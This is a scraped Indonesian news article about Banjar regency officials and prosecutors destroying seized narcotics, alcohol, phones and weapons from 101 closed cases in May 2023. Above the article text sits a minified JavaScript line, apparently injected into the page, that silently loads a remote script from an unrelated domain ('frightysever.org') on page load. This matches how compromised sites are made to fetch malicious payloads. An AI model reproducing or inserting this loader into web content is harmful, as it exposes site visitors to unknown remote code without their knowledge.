(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bupati Banjar H Saidi Mansyur ikut memusnahkan barang bukti dari 56 perkara berupa narkotika dan psikotropika di halaman kantor Kejaksaan Negeri (Kejari) Kabupaten Banjar, Rabu (31/5/2023) pagi.
Sabu seberat 92,9605 gram dimusnahkan Kajari bersama Forkopimda Banjar dan stakeholder terkait dengan cara diblender dengan cairan deterjen.
Selain narkotika, sejumlah barang bukti lainnya yang turut dimusnahkan alkohol 95 persen dengan cara ditumpahkan kedalam ember.
Handphone dimusnahkan menggunakan palu, toples kosmetik dan pakaian pelaku kasus perlindungan anak dimusnahkan dengan cara dibakar. Sementara senjata tajam (sajam) terdiri atas senapan angin, pisau, gunting, mata bor dan lainnya dimusnahkan menggunakan mesin pemotong.
Baca juga: PB HYD MYD Binuang Kampium Turnamen Bulutangkis Bupati HSU Cup Open 2023
Kajari Banjar M Bardan mengatakan, sebanyak 101 putusan perkara yang sudah memiliki kekuatan hukum tetap (inkracht) dimusnahkan adalah sebagai wujud eksekusi dari setiap putusan yang diterima oleh pihaknya.
Diungkapkannya, dari total 101 perkara periode 2021-2022 tersebut 56 perkara adalah kasus narkotika dan psikotropika, sementara 45 lainnya adalah kasus pencurian, sajam dan asusila. Lebih lanjut, Bardan juga meminta dukungan kepada Pemkab Banjar dan unsur terkait untuk membangun rumah rehab narkotika.
”Sehingga nantinya pelaku dan korban kecanduan narkoba dapat direhab ditempat tersebut,” harap dia.
Sementara Bupati Banjar H Saidi Mansyur berharap rencana pembangunan rumah rehab di Kabupaten Banjar dapat terwujud, melalui koordinasi dan komunikasi dengan BNN pusat, guna meminimalisir narkotika di daerah.
Rincian barang bukti yang dimusnahkan antara lain 92,9605 gram sabu,120 botol alkohol, 59 buah handphone kasus kejahatan perjudian, narkotika dan psikotropika, 45 toples kosmetik kasus penipuan, 39 sajam serta 27 lembar baju, celana dan kain kasus perlindungan anak. (kanalkalimantan.com/diskominfobanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
This website uses cookies.